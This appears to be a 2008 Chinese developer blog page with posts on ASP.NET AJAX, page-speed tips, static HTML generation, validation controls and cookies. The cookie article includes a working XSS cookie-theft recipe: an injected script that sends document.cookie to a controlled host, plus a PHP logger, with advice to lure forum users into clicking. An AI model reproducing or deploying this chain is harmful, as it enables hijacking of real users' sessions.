posts - 63,  comments - 6,  trackbacks - 0
摘要: 让UpdatePanel支持文件上传(1):开始   UpdatePanel从一开始就无法支持AJAX的文件上传方式。Eilon Lipton写了一篇文章解释了这个问题的原因。文章中提供了两个绕开此问题的方法: 将“上传”按钮设为一个传统的PostBack控件而不是异步PostBack。您可以使用多种方法来这么做:例如将一个按钮放置在UpdatePanel外,将按钮设为某个...阅读全文
posted @ 2008-10-01 12:34 nacarat 阅读(303) 评论(1) 编辑
1. 画面迁移应该使用执行画面重定向的Response.Redirect而不是Server.Transfer,因为Server.Transfer不改变IE客户端URL,会导致ASP.NET AJAX客户端脚本访问资源的时候出现URL错误。

2.在服务器端注册脚本和隐藏字段应该使用类ScriptManager,而不是Page.ClientScript对象,因为Page.ClientScript的方法是将脚本注册给全局对象,会导致如果进行局部更新,这些脚本不会送到客户端,而ScriptManager的方法正相反。ScriptManager类不管画面上有没有ScriptManager控件都可以使用。

3.把要进行局部更新的事件源控件和要进行的控件都放入到UpdatePanel中,如果只是被更新的控件放在UpdatePanel中,而事件源控件在UpdatePanel外一样会触发回发事件刷新屏幕。

4.把更新时涉及到的隐藏字段和隐藏控件也都放到UpdatePanel中。如果隐藏字段不放到UpdatePanel中,更新的时候就无法修改它的值,同理要操作的隐藏控件不在UpdatePanel中也无法对其进行操作。

5.ASP.NET AJAX的脚本方法要在ScriptManager标签之后执行,因为放置ScriptManager的地方才是植入ASP.NET AJAX脚本库的地方,这也就意味着在此之前的代码是无法访问脚本库方法的。

6.注意处理Sys.WebForms异常,因为这些异常会带来让人无法真正理解的错误,需要屏蔽的时候应该屏蔽。
posted @ 2008-10-01 12:32 nacarat 阅读(50) 评论(0) 编辑
posted @ 2008-09-29 11:36 nacarat 阅读(103) 评论(0) 编辑

互联网带宽越来越宽,似乎让网页的加载速度得到了质的飞跃。其实不然,因为随着带宽的提高,网页上的对象也越来越多,因此加快网页打开速度还是一个重要的课题。加快网页的打开速度,有三个路径,一是提高网络带宽,二是用户在本机做优化,三是网站设计者对网页做一定的优化。这篇文章站在一个网站设计者的角度,分享一些优化网页加载速度的小技巧。

一、优化图片

几乎没有哪个网页上是没有图片的。如果你经历过56K猫的年代,你一定不会很喜欢有大量图片的网站。因为加载那样一个网页会花费大量的时间。

即使在现在,网络带宽有了很多的提高,56K猫逐渐淡出,优化图片以加快网页速度还是很有必要的。

优化图片包括减少图片数、降低图像质量、使用恰当的格式。

1、减少图片数:去除不必要的图片。

2、降低图像质量:如果不是很必要,尝试降低图像的质量,尤其是jpg格式,降低5%的质量看起来变化不是很大,但文件大小的变化是比较大的。

3、使用恰当的格式:请参阅下一点。

因此,在上传图片之前,你需要对图片进行编辑,如果你觉得photoshop太麻烦,可以试试一些在线图片编辑工具。懒得编辑而又想图片有特殊的效果?可以试试用过调用javascript来实现图片特效。

二、图像格式的选择

一般在网页上使用的图片格式有三种,jpg、png、gif。三种格式的具体技术指标不是这篇文章探讨的内容,我们只需要知道在什么时候应该使用什么格式,以减少网页的加载时间。

1、JPG:一般用于展示风景、人物、艺术照的摄影作品。有时也用在电脑截屏上。

2、GIF:提供的颜色较少,可用在一些对颜色要求不高的地方,比如网站logo、按钮、表情等等。当然,gif的一个重要的应用是动画图片。就像用Lunapic制作的倒映图片。

3、PNG:PNG格式能提供透明背景,是一种专为网页展示而发明的图片格式。一般用于需要背景透明显示或对图像质量要求较高的网页上。

三、优化CSS

CSS叠层样式表让网页加载起来更高效,浏览体验也得到提高。有了CSS,表格布局的方式可以退休了。

但有时我们在写CSS的时候会使用了一些比较罗嗦的语句,比如这句:

以下为引用的内容:
margin-top: 10px;
margin-right: 20px;
margin-bottom: 10px;
margin-left: 20px;

你可以将它简化为:

margin: 10px 20px 10px 20px;

又或者这句:

以下为引用的内容:
<p class="decorated">A paragraph of decorated text</p>
<p class="decorated">Second paragraph</p>
<p class="decorated">Third paragraph</p>
<p class="decorated">Forth paragraph</p>

可以用div来包含:

以下为引用的内容:
<div class="decorated">
<p>A paragraph of decorated text</p>
<p>Second paragraph</p>
<p>Third paragraph</p>
<p>Forth paragraph</p>
</div>

简化CSS能去除冗余的属性,提高运行效率。如果你写好CSS后懒得去做简化,你可以使用一些在线的简化CSS工具,比如CleanCSS。

四、网址后加斜杠

有些网址,比如"www.kenengba.com/220",当服务器收到这样一个地址请求的时候,它需要花费时间去确定这个地址的文件类型。如果220是一个目录,不妨在网址后多加一个斜杠,让其变成www.kenengba.com/220/,这样服务器就能一目了然地知道要访问该目录下的index或default文件,从而节省了加载时间。

五、标明高度和宽度

这点很重要,但很多人由于懒惰或其它原因,总是将其忽视。当你在网页上添加图片或表格时,你应该指定它们的高度和宽度,也就是height和width参数。如果浏览器没有找到这两个参数,它需要一边下载图片一边计算大小,如果图片很多,浏览器需要不断地调整页面。这不但影响速度,也影响浏览体验。

下面是一个比较友好的图片代码:

<img id="moon" height="200" width="450" src="http://www.kenengba.com/moon.png" alt="moon image" />

当浏览器知道了高度和宽度参数后,即使图片暂时无法显示,页面上也会腾出图片的空位,然后继续加载后面的内容。从而加载时间快了,浏览体验也更好了。

六、减少http请求

当浏览者打开某个网页,浏览器会发出很多对象请求(图像、脚本等等),视乎网络延时情况,每个对象加载都会有所延迟。如果网页上对象很多,这可以需要花费大量的时间。

因此,要为http请求减负。如何减负?

1、去除一些不必要的对象。

2、将临近的两张图片合成一张。

3、合并CSS

看看下面这段代码,需要加载三个CSS:

以下为引用的内容:
<link rel="stylesheet" type="text/css" href="/body.css" />
<link rel="stylesheet" type="text/css" href="/side.css" />
<link rel="stylesheet" type="text/css" href="/footer.css" />

我们可以将其合成一个:

<link rel="stylesheet" type="text/css" href="/style.css" />

从而减少http请求。

七、其它小技巧(译者添加)

1、去除不必要加载项。

2、如果在网页上嵌入了其它网站的widget,如果有选择余地,一定要选择速度快的。

3、尽量用图片代替flash,这对SEO也有好处。

4、有些内容可以静态化就将其静态化,以减少服务器的负担。

5、统计代码放在页尾。

posted @ 2008-09-29 11:30 nacarat 阅读(44) 评论(0) 编辑

英文网站部分

  1. http://www.google.com/ 或者http://search.msn.com/ :不必多说
  2. ASP.NET AJAX官方网站:不用多说了……
  3. ASP.NET AJAX Control Toolkit官方网站:同样不必多说……
  4. 官方参考文档:必备资料,虽然现在还不是很全。
  5. 官方讨论社区:直接和ASP.NET AJAX顶级开发者以及ASP.NET AJAX开发组成员交流,得到他们的建议并提交反馈。ASP.NET AJAX的最新动态、最新问题基本都是从这里散发出去的。
  6. Scott Guthrie的Blog的Atlas分类:ASP.NET之父的Blog,更新非常频繁,及时带来最新的官方消息。
  7. Nikhil Kothari的Blog的ASP.NET分类:Atlas架构师的Blog,更新不是很多,但是内容足够深入。
  8. [RSS Feed]ASP.NET AJAX Team的Blog订阅:ASP.NET AJAX开发团队高层成员的Blog的相关内容的聚合。ASP.NET AJAX最新的动态,最新的使用技巧在这里都能找到。

以下是一些零零碎碎的内容,不成系统,但是空余时间也值得参考:

  1. http://weblogs.asp.net/bleroy/archive/tags/Atlas/default.aspx
  2. http://blogs.msdn.com/brada/archive/tags/Atlas/default.aspx
  3. http://www.west-wind.com/WebLog/
  4. http://weblogs.asp.net/despos/archive/tags/ASP.NET+AJAX/default.aspx
  5. http://weblogs.asp.net/leftslipper/archive/tags/AJAX/default.aspx

 

中文网站部分

  1. http://www.baidu.com/:不必多说
  2. Scott Guthrie 博客中文版的ASP.NET AJAX部分:感谢思归大哥翻译。
  3. 博客园ASP.NET AJAX (Atlas)学习团队:说是国内最全的ASP.NET AJAX学习资源一点都不为过。包含大量各种层次、系列、形式的文章。
  4. 思归的“关注AJAX”系列:文章比较简洁,以引用链接英文文章为主。适合已经入门了的朋友进一步提高。
  5. Jeffrey Zhao的Blog:很多ASP.NET AJAX的相关文章,理论性较强,适合已经入门了的朋友进一步提高。
  6. TerryLee的ASP.NET AJAX入门系列:针对初学者最好的ASP.NET AJAX学习教程。目前还在写作过程中,希望Terry大哥继续努力。
  7. Dflying Chen的Blog的相关分类:入门和高级内容都有涉及,早期CTP版本内容丰富,不过已经过时。最近更新比较频繁。
  8. CSDN的Atlas标签:内容良莠不齐,需要仔细挑选甄别之后再吸收。

 

图书部分

  1. Atlas基础教程:入门书籍,内容针对CTP版本的Atlas,现在已经过时。
  2. (若干本英文图书,加上我的三本,现在尚未出版,暂且不列)

 

附:建议学习过程

  1. [预先需求] 了解AJAX基本原理(随便找本书看看或是搜索一下网络资源)
  2. [入门] TerryLee的ASP.NET AJAX入门系列
  3. [继续入门 稍加深入] ASP.NET AJAX官方网站ASP.NET AJAX Control Toolkit官方网站官方参考文档
  4. [应用 问题求解] Dflying Chen的Blog的相关分类博客园ASP.NET AJAX (Atlas)学习团队官方讨论社区
  5. [深入原理] Jeffrey Zhao的Blog
  6. [把握技术趋势] Scott Guthrie的Blog的Atlas分类Nikhil Kothari的Blog的ASP.NET分类ASP.NET AJAX Team的Blog订阅思归的“关注AJAX”系列
  7. [全程都要用的] http://www.google.com/http://www.baidu.com/
  8. [日常点滴积累] 上述其他资源

 

匆忙写成,定有遗漏疏忽,欢迎朋友们继续补充推荐并对错误不吝指正……人工分类总是比搜索引擎自动进行要精确一些,起码现在如此 :-)

posted @ 2008-09-29 11:29 nacarat 阅读(53) 评论(0) 编辑

方案1:
/// <summary>
/// 传入URL返回网页的html代码
/// </summary>
/// <param name="Url">URL</param>
/// <returns></returns>
public static  string getUrltoHtml(string Url)
{
errorMsg
= "";
try
{
System.Net.WebRequest wReq
= System.Net.WebRequest.Create(Url);
// Get the response instance.
System.Net.WebResponse wResp =wReq.GetResponse();
// Read an HTTP-specific property
//if (wResp.GetType() ==HttpWebResponse)
//{
//DateTime updated   =((System.Net.HttpWebResponse)wResp).LastModified;
//}
// Get the response stream.
System.IO.Stream respStream  = wResp.GetResponseStream();
// Dim reader As StreamReader = New StreamReader(respStream)
System.IO.StreamReader reader = new System.IO.StreamReader(respStream, System.Text.Encoding.GetEncoding("gb2312"));
return   reader.ReadToEnd();

}
catch(System.Exception ex)
{
errorMsg
= ex.Message ;
}
return "";
}

你可以用这个函数获取网页的客户端的html代码,然后保存到.html文件里就可以了。

方案2:

生成单个的静态页面不是难点,难的是各个静态页面间的关联和链接如何保持完整;特别是在页面频繁更新、修改、或删除的情况下;

像阿里巴巴的页面也全部是html的,估计用的是地址映射的功能关于地址映射可参考:http://www.easewe.com/Article/ShowArticle.aspx?article=131

可以看看这个页面,分析一下他的“竞价倒计时”功能http://info.china.alibaba.com/news/subject/v1-s5011580.html?head=top4&Bidding=home5

ASP.Net生成静态HTML页
在Asp中实现的生成静态页用到的FileSystemObject对象!
在.Net中涉及此类操作的是System.IO
以下是程序代码 注:此代码非原创!参考别人代码
//生成HTML页
  public static bool WriteFile(string strText,string strContent,string strAuthor)
   {
   
string path = HttpContext.Current.Server.MapPath("/news/");
    Encoding code
= Encoding.GetEncoding("gb2312");
   
// 读取模板文件
   string temp = HttpContext.Current.Server.MapPath("/news/text.html");
    StreamReader sr
=null;
    StreamWriter sw
=null;
   
string str="";
   
try
    {
     sr
= new StreamReader(temp, code);
     str
= sr.ReadToEnd(); // 读取文件
    }
   
catch(Exception exp)
    {
     HttpContext.Current.Response.Write(exp.Message);
     HttpContext.Current.Response.End();
     sr.Close();
    }
   
string htmlfilename=DateTime.Now.ToString("yyyyMMddHHmmss")+".html";
   
// 替换内容
   
// 这时,模板文件已经读入到名称为str的变量中了
    str =str.Replace("ShowArticle",strText); //模板页中的ShowArticle
    str = str.Replace("biaoti",strText);
    str
= str.Replace("content",strContent);
    str
= str.Replace("author",strAuthor);
   
// 写文件
   try
    {
     sw
= new StreamWriter(path + htmlfilename , false, code);
     sw.Write(str);
     sw.Flush();
    }
   
catch(Exception ex)
    {
     HttpContext.Current.Response.Write(ex.Message);
     HttpContext.Current.Response.End();
    }
   
finally
    {
     sw.Close();
    }
   
return true;

此函数放在Conn.CS基类中了在添加新闻的代码中引用 注:工程名为Hover

    
if(Hover.Conn.WriteFilethis.Title.Text.ToString),this.Content.Text.ToString),this.Author.Text.ToString)))
     {
      Response.Write(
"添加成功");
     }
    
else
     {
      Response.Write(
"生成HTML出错!");
     }
模板页Text.html代码

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" >
<HTML>
<HEAD>
  
<title>ShowArticle</title>
   
<body>
biaoti
<br>
content
<br>
author
</body>
</HTML>
biaoti
<br>
content
<br>
author
</body>
</HTML>

 

 

提示添加成功后会出以当前时间为文件名的html文件!上面只是把传递过来的几个参数直接写入了HTML文件中,在实际应用中需要先添加数据库,然后再写入HTML文件

方案3:给一个客户端参考的例子(SJ)

它的作用在于以客户端的方式获取某个页面的代码,然后可以做为其他用途,本例是直接输出
<script>
    
var oXmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
     oXmlHttp.open(
"GET","http://www.webjx.com", false);
     oXmlHttp.send()
    
var oStream = new ActiveXObject("ADODB.Stream");
    
if(oStream == null)
         alert(
"您的机器不支持ADODB.Stream.")
    
else
     {
         oStream.Type
=1;
         oStream.Mode
=3;
         oStream.Open() ;
         oStream.Write(oXmlHttp.responseBody);
         oStream.Position
= 0;
         oStream.Type
= 2;
         oStream.Charset
="gb2312";
        
var result= oStream.ReadText();
         oStream.Close();
         oStream
= null;
  
       var aa = window.open("","")
         document.write(result);
         aa.document.write(result);
     }
</script>

方案4:学csdn一样。用xml保存数据,模版XSL也只有一个文件。

使用xml来保存数据,使用xsl来定义模板并且生称数据。可以通过xsl来很方便的在客户端或者服务段显示数据。如果要生成静态叶面那更简单了。去查一下.net的xml类包问题解决。

优点:可以方便快速转换成你想要的格式和内容。
缺点:需要学习更多的内容,不好入门。

方案5:

思路一:

1. 利用如

这样的工具生成html格式的模板,在需要添加格式的地方加入特殊标记(如$htmlformat$),动态生成文件时利用代码读取此模板,然后获得前台输入的内容,添加到此模板的标记位置中,生成新文件名后写入磁盘,写入后再向数据库中写入相关数据。
2. 使用后台代码硬编码Html文件,可以使用HtmlTextWriter类来写html文件。

优点:

1. 可以建立非常复杂的页面,利用包含js文件的方法,在js文件内加入document.write()方法可以在所有页面内加入如页面头,广告等内容。

2. 静态html文件利用MS Windows2000的Index Server可以建立全文搜索引擎,利用asp.net可以以DataTable的方式得到搜索结果。而Win2000的Index服务无法查找xml文件的内容。如果包括了数据库搜索与Index索引双重查找,那么此搜索功能将非常强大。

3. 节省服务器的负荷,请求一个静态的html文件比一个aspx文件服务器资源节省许多。

缺点:

思路二: 如果用硬编码的方式,工作量非常大,需要非常多的html代码。调试困难。而且使用硬编码生成的html样式无法修改,如果网站更换样式,那么必须得重新编码,给后期带来巨大的工作量。

因此这里采用的是第一种思路

示列代码

1.定义(template.htm)html模板页面

<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body >
<table $htmlformat[0] height="100%" border="0" width="100%" cellpadding="10" cellspacing ="0" bgcolor="#eeeeee" style="border:1px solid #000000">
<tr>
<td width="100%" valign="middle" align="left">
<span style="color: $htmlformat[1];font-size: $htmlformat[2]">$htmlformat[3]</span>
</td>
</tr>
</table>
</body>
</html>

 

2.asp.net代码:

 

//---------------------读html模板页面到stringbuilder对象里----

string[] format=new string[4];//定义和htmlyem标记数目一致的数组
StringBuilder htmltext=new StringBuilder();
try
{
    
using (StreamReader sr = new StreamReader("存放模板页面的路径和页面名"))
     {
         String line;
         while ((line = sr.ReadLine()) != null)
         {
             htmltext.Append(line);
         }
         sr.Close();
     }

catch
{
     Response.Write(
"<Script>alert('读取文件错误')</Script>");

//---------------------给标记数组赋值------------
format[
0]="background="/blog/bg.jpg"";//背景图片
format[
1]= "#990099";//字体颜色
format[
2]="150px";//字体大小
format[
3]= "<marquee>生成的模板html页面</marquee>";//文字说
//----------替换htm里的标记为你想加的内容
for(int i=0;i<4;i++)
{
     htmltext.Replace(
"$htmlformat["+i+"]",format[i]);
}
//----------生成htm文件------------------――
try
{
     using(StreamWriter sw=new StreamWriter("存放路径和页面名",false,System.Text.Encoding.GetEncoding("GB2312")))    
     {
         sw.WriteLine(htmltext);
         sw.Flush();
         sw.Close();
     }
}
catch
{
     Response.Write (
"The file could not be wirte:");
}

小结
用此方法可以方便的生成html文件。程序使用了是循环替换,因此对需替换大量元素的模板速度非常快。

posted @ 2008-09-28 19:44 nacarat 阅读(115) 评论(0) 编辑
ASP.NET是微软推出的下一代WEB开发工具,其强大的功能立即吸引了一大批WEB开发者投入它的靡下。现在,我们来看看ASP.NET的验证控件,感受ASP.NET的强大功能同时方便我们现在的WEB开发。
  WEB开发者特别是ASP开发者,一直对数据验证比较恼火,当你好不容易写出数据提交程序的主体以后,还不得不花大把时间去验证用户的每一个输入是否合法。如果开发者熟悉JavaScript或者VBScript,可以用这些脚本语言轻松实现验证,但是又要考虑用户浏览器是否支持这些脚本语言;如果对这些不是很熟悉或者想支持所有用户浏览器,就必须在ASP程序里面验证,但是这样验证就会增加服务器负担。现在,有了ASP.NET,你不但可以轻松的实现对用户输入的验证,而且,还可以选择验证在服务器端进行还是在客户端进行,再也不必考虑那么多了,程序员们可以将重要精力放在主程序的设计上了。


ASP.NET公有六种验证控件,分别如下: 


控件名 功能描叙
RequiredFieldValidator(必须字段验证) 用于检查是否有输入值
CompareValidator(比较验证) 按设定比较两个输入
RangeValidator(范围验证) 输入是否在指定范围
RegularExpressionValidator(正则表达式验证) 正则表达式验证控件
CustomValidator(自定义验证) 自定义验证控件
ValidationSummary(验证总结) 总结验证结果


下面,我们来看这些控件的使用
  一:RequiredFieldValidator(必须字段验证)的使用
  RequiredFieldValidator控件使用的标准代码如下:
<ASP:RequiredFieldValidator id="Validator_Name" Runat="Server"
   ControlToValidate="要检查的控件名"
   ErrorMessage="出错信息"
   Display="Static|Dymatic|None"
 >
 占位符
</ASP: RequiredFieldValidator >


在以上标准代码中:
  ControlToValidate:表示要进行检查控件ID;
  ErrorMessage:表示当检查不合法时,出现的错误信息;
  Display:错误信息的显示方式;Static表示控件的错误信息在页面中占有肯定位置;Dymatic表示控件错误信息出现时才占用页面控件;None表示错误出现时不显示,但是可以在ValidatorSummary中显示;
  占位符:表示Display为Static时,错误信息占有"占位符"那么大的页面空间;


  现在,让我们看一个实例:
<ASP:TextBox id="txtName" RunAt="Server"/>
<ASP:RequiredFieldValidator id="Validator1" Runat="Server"
   ControlToValidate="txtName"
   ErrorMessage="姓名必须输入"
   Display="Static">
  *姓名必须输入
</ASP:RequiredFieldValidator>


在以上例子中,检查txtName控件是否有输入,如果没有,显示错误信息"姓名必须输入"。是不是很简单?
注意:以上代码和下面其他控件的代码最好放入Form中,和ASP中不一样的是,Form最好写为这样:
<Form RunAt="Server">
其他代码
</Form> 
这样,Form在服务器端执行,提交才会有效;


二:CompareValidator(比较验证)控件
  比较控件比较两个控件的输入是否符合程序设定,大家不要把比较仅仅理解为"相等",尽管相等是用的最多的,其实,这里的比较包括范围很广,大家看标准代码就会明白。
  比较控件的标准代码如下:
<ASP:CompareValidator id="Validator_ID" RunAt="Server"
ControlToValidate="要验证的控件ID"
errorMessage="错误信息"
ControlToCompare="要比较的控件ID"
type="String|Integer|Double|DateTime|Currency"
operator="Equal|NotEqual|GreaterThan|GreaterTanEqual|LessThan|LessThanEqual|DataTypeCheck"
Display="Static|Dymatic|None"

占位符
</ASP:CompareValidator>


在以上标准代码中:
  Type表示要比较的控件的数据类型;
  Operator表示比较操作(也就是刚才说的为什么比较不仅仅是"相等"的原因),这里,比较有7种方式;
  其他属性和RequiredFieldValidator相同;
  在这里,要注意ControlToValidate和ControlToCompare的区别,如果operate为GreateThan,那么,必须ControlToCompare大于ControlToValidate才是合法的,这下,应该明白它们两者的意义了吧?例子程序请参考RequiredFieldValidator控件,对照标准代码自己设计。


  三:RangeValidator(范围验证)控件
  验证输入是否在一定范围,范围用MaximumValue(最大)和MinimunVlaue来确定,标准代码如下:
<ASP:RangeValidator id="Vaidator_ID" Runat="Server"
controlToValidate="要验证的控件ID"
type="Integer"
MinimumValue="最小值"
MaximumValue="最大值"
errorMessage="错误信息"
Display="Static|Dymatic|None"

占位符
</ASP:RangeValidator>
在以上代码中:
    用MinimumValue和MaximumValue来界定控件输入值得范围,用type来定义控件输入值的类型。
  四:RegularExpresionValidator(正则表达式)控件
  正则表达式验证控件的功能非常强大,你可以自己容易构造验证方式,我们先来看看标准代码:
<ASP:RegularExpressionValidator id="Validator_ID" RunAt="Server"
ControlToValidate="要验证控件名"
ValidationExpression="正则表达式"
errorMessage="错误信息"
display="Static"

占位符
</ASP:RegularExpressionValidator> 
在以上标准代码中,ValidationExpression是重点,现在来看看它的构造:
  在ValidationExpression中,不同的字符表示不同的含义:
  "."表示任意字符;
  "*"表示和其他表达式一起,表示容易组合;
  "[A-Z]"表示任意大写字母;
  "\d"表示容易一个数字;
  注意,在以上表达式中,引号不包括在内;
  举例:
   正则表达式:".*[A-Z]"表示数字开头的任意字符组合其后接一个大写字母。
  五:ValidationSummary(验证总结)控件
  该控件收集本页的所有验证错误信息,并可以将它们组织以后再显示出来。其标准代码如下:
<ASP:ValidationSummary id="Validator_ID" RunAT="Server"
HeaderText="头信息"
ShowSummary="True|False"
DiaplayMode="List|BulletList|SingleParagraph"

</ASP: ValidationSummary > 
在以上标准代码中,HeadText相当于表的HeadText,DisplayMode表示错误信息显示方式:List相当于HTML中的<BR>;BulletList相当于HTML中的<LI>;SingleParegraph表示错误信息之间不作如何分割;
  六:CustomValidator(自定义验证)控件]
  该控件用自定义的函数界定验证方式,其标准代码如下: 
<ASP:CustomValidator id="Validator_ID" RunAt="Server"
controlToValidate="要验证的控件"
onServerValidateFunction="验证函数"
errorMessage="错误信息"
Display="Static|Dymatic|None"

占位符
</ASP: CustomValidator >
以上代码中,用户必须定义一个函数来验证输入。


  七:总结
  ASP.NET验证控件已经介绍完了,大家可以发现它们的功能很强大,再也不要为验证而烦恼了。当然,以上介绍并不是特别详细,细微的地方,还请大家自己阅读微软的SDK。

posted @ 2008-09-28 11:02 nacarat 阅读(1851) 评论(1) 编辑
Cookie在英文中是小甜品的意思,而这个词我们总能在浏览器中看到,食品怎么会跟浏览器扯上关系呢?在你浏览以前登陆过的网站时可能会在网页中出现:你好XX,感觉很亲切,就好像是吃了一个小甜品一样。这其实是通过访问你主机里边的一个文件来实现的,因此这个文件也就被称为了Cookie。想全面了解Cookie吗?看看下文吧!

一.了解Cookie 适用对象:初级读者

Cookie是当你浏览某网站时,网站存储在你机器上的一个小文本文件,它记录了你的用户ID,密码、浏览过的网页、停留的时间等信息,当你再次来到该网站时,网站通过读取Cookie,得知你的相关信息,就可以做出相应的动作,如在页面显示欢迎你的标语,或者让你不用输入ID、密码就直接登录等等。你可以在IE的“工具/Internet选项”的“常规”选项卡中,选择“设置/查看文件”,查看所有保存到你电脑里的Cookie。这些文件通常是以user@domain格式命名的,user是你的本地用户名,domain是所访问的网站的域名。如果你使用NetsCape浏览器,则存放在“C:\PROGRAMFILES\NETSCAPE\USERS\”里面,与IE不同的是,NETSCAPE是使用一个Cookie 文件记录所有网站的Cookies。

为了保证上网
安全我们需要对Cookie进行适当设置。打开“工具/Internet选项”中的“隐私”选项卡(注意该设置只在IE6.0中存在,其他版本IE可以在“工具/Internet选项”的“安全”标签中单击“自定义级别”按钮,进行简单调整),调整Cookie的安全级别。通常情况,可以将滑块调整到“中高”或者“高”的位置。多数的论坛站点需要使用Cookie信息,如果你从来不去这些地方,可以将安全级调到“阻止所有Cookies”。如果只是为了禁止个别网站的Cookie,可以单击“编辑”按钮,将要屏蔽的网站添加到列表中。在“高级”按钮选项中,你可以对第一方Cookie和第三方的Cookie进行设置,第一方Cookie是你正在浏览的网站的Cookie,第三方Cookie非正在浏览的网站发给你的Cookie,通常要对第三方Cookie选择“拒绝”,如图1。你如果需要保存Cookie,可以使用IE的“导入导出”功能,打开“文件/导入导出”,按提示操作即可。

Cookie中的内容大多数经过了加密处理,因此在我们看来只是一些毫无意义的字母数字组合,只有服务器的CGI处理程序才知道它们真正的含义。通过一些软件我们可以查看到更多的内容,使用Cookie Pal软件查看到的Cookie信息,如图2所示。它为我们提供了Server、Expires、Name、Value等选项的内容。其中,Server是存储Cookie的网站,Expires记录了Cookie的时间和生命期,Name和value字段则是具体的数据(本报第10期第42版对该软件有详细介绍)。
下载地址:http://www.cbifamily.com/down/200411/cfnetwork/cp1.exe。

二、Cookie的传递流程 适用对象:中级读者

当在浏览器地址栏中键入了一个Web站点的URL,浏览器会向该Web站点发送一个读取网页的请求,并将结果在显示器上显示。这时该网页在你的电脑上寻找Amazon网站设置的Cookie文件,如果找到,浏览器会把Cookie文件中的数据连同前面输入的URL一同发送到Amazon服务器。服务器收到Cookie数据,就会在他的数据库中检索你的ID,你的购物记录、个人喜好等信息,并记录下新的内容,增加到数据库和Cookie文件中去。如果没有检测到Cookie或者你的Cookie信息与数据库中的信息不符合,则说明你是第一次浏览该网站,服务器的CGI程序将为你创建新的ID信息,并保存到数据库中。
Cookie是利用了网页代码中的HTTP头信息进行传递的,浏览器的每一次网页请求,都可以伴随Cookie传递,例如,浏览器的打开或刷新网页操作。服务器将Cookie添加到网页的HTTP头信息中,伴随网页数据传回到你的浏览器,浏览器会根据你电脑中的Cookie设置选择是否保存这些数据。如果浏览器不允许Cookie保存,则关掉浏览器后,这些数据就消失。Cookie在电脑上保存的时间是不一样的,这些都是由服务器的设置不同决定得。Cookie有一个Expires(有效期)属性,这个属性决定了Cookie的保存时间,服务器可以通过设定Expires字段的数值,来改变Cookie的保存时间。如果不设置该属性,那么Cookie只在浏览网页期间有效,关闭浏览器,这些Cookie自动消失,绝大多数网站属于这种情况。通常情况下,Cookie包含Server、Expires、Name、Value这几个字段,其中对服务器有用的只是Name和Value字段,Expires等字段的内容仅仅是为了告诉浏览器如何处理这些Cookies。

三、Cookie的编程实现 适用对象:高级读者

多数网页编程语言都提供了对Cookie的支持。如JavaScript、VBScript、Delphi、ASP、SQL、PHP、C#等。在这些面向对象的编程语言中,对Cookie的编程利用基本上是相似的,大体过程为:先创建一个Cookie对象(Object),然后利用控制函数对Cookie进行赋值、读取、写入等操作。那么如何通过代码来获取其他用户Cookie中的敏感信息?下面进行简单的介绍。
该方法主要有两步,首先要定位你需要收集Cookie的网站,并对其进行分析,并构造URL;然后编制收集Cookie的PHP代码,并将其放到你可以控制的网站上,当不知情者单击了你构造的URL后可以执行该PHP代码。下面我们看具体的实现过程。

1.分析并构造URL

首先打开我们要收集Cookie的网站,这里假设是http://www.XXX.net,登陆网站输入用户名“<A1>”(不含引号),对数据进行分析抓包,得到形如“http://www.XXX.net/txl/login/login.pl?username=<A1>&passwd=&ok.x=28&ok.y=6”的代码,将“<A1>”更换为“<script>alert(document.cookie)</script>”再试;如果执行成功,就开始构造URL:“http://www.XXX.net/txl/login/login.pl?username=<script>window.open("http://www.cbifamily.org/cbi.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6”。其中http:///www.cbifamily.org/cbi.php就是你能够控制的某台主机上的一个脚本。需要注意的是“%2B”为符号“+”的URL编码,因为“+”将被作为空格处理。该URL就可以在论坛中发布,诱使别人点击了。

2.编制PHP脚本

该脚本的作用就是收集Cookie文件,具体内容如下:


<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.XXX.net");
?>

四、Cookie的
安全问题 适用对象:所有希望上网安全的读者

1.Cookie欺骗

Cookie记录着用户的帐户ID、密码之类的信息,如果在网上传递,通常使用的是MD5方法加密。这样经过加密处理后的信息,即使被网络上一些别有用心的人截获,也看不懂,因为他看到的只是一些无意义的字母和数字。然而,现在遇到的问题是,截获Cookie的人不需要知道这些字符串的含义,他们只要把别人的Cookie向服务器提交,并且能够通过验证,他们就可以冒充受害人的身份,登陆网站。这种方法叫做Cookie欺骗。Cookie欺骗实现的前提条件是服务器的验证程序存在漏洞,并且冒充者要获得被冒充的人的Cookie信息。目前网站的验证程序要排除所有非法登录是非常困难的,例如,编写验证程序使用的语言可能存在漏洞。而且要获得别人Cookie是很容易的,用支持Cookie的语言编写一小段代码就可以实现(具体方法见三),只要把这段代码放到网络里,那么所有人的Cookie都能够被收集。如果一个论坛允许HTML代码或者允许使用Flash标签就可以利用这些技术收集Cookie的代码放到论坛里,然后给帖子取一个吸引人的主题,写上有趣的内容,很快就可以收集到大量的Cookie。在论坛上,有许多人的密码就被这种方法盗去的。至于如何防范,目前还没有特效药,我们也只能使用通常的防护方法,不要在论坛里使用重要的密码,也不要使用IE自动保存密码的功能,以及尽量不登陆不了解底细的网站。

2.Flash的代码隐患

Flash中有一个getURL()函数,Flash可以利用这个函数自动打开指定的网页。因此它可能把你引向一个包含恶意代码的网站。打个比方,当你在自己电脑上欣赏精美的Flash动画时,动画帧里的代码可能已经悄悄地连上网,并打开了一个极小的包含有特殊代码的页面。这个页面可以收集你的Cookie、也可以做一些其他的事情,比如在你的机器上种植木马甚至格式化你的硬盘等等。对于Flash的这种行为,网站是无法禁止的,因为这是Flash文件的内部行为。我们所能做到的,如果是在本地浏览尽量打开防火墙,如果防火墙提示的向外发送的数据包并不为你知悉,最好禁止。如果是在Internet上欣赏,最好找一些知名的大网站。
posted @ 2008-09-28 11:01 nacarat 阅读(93) 评论(0) 编辑
posted @ 2008-09-28 10:59 nacarat 阅读(31) 评论(0) 编辑

离三点钟还有半个小时,趁机把自己编程的一个小的技巧写下来吧!废话不多说了。

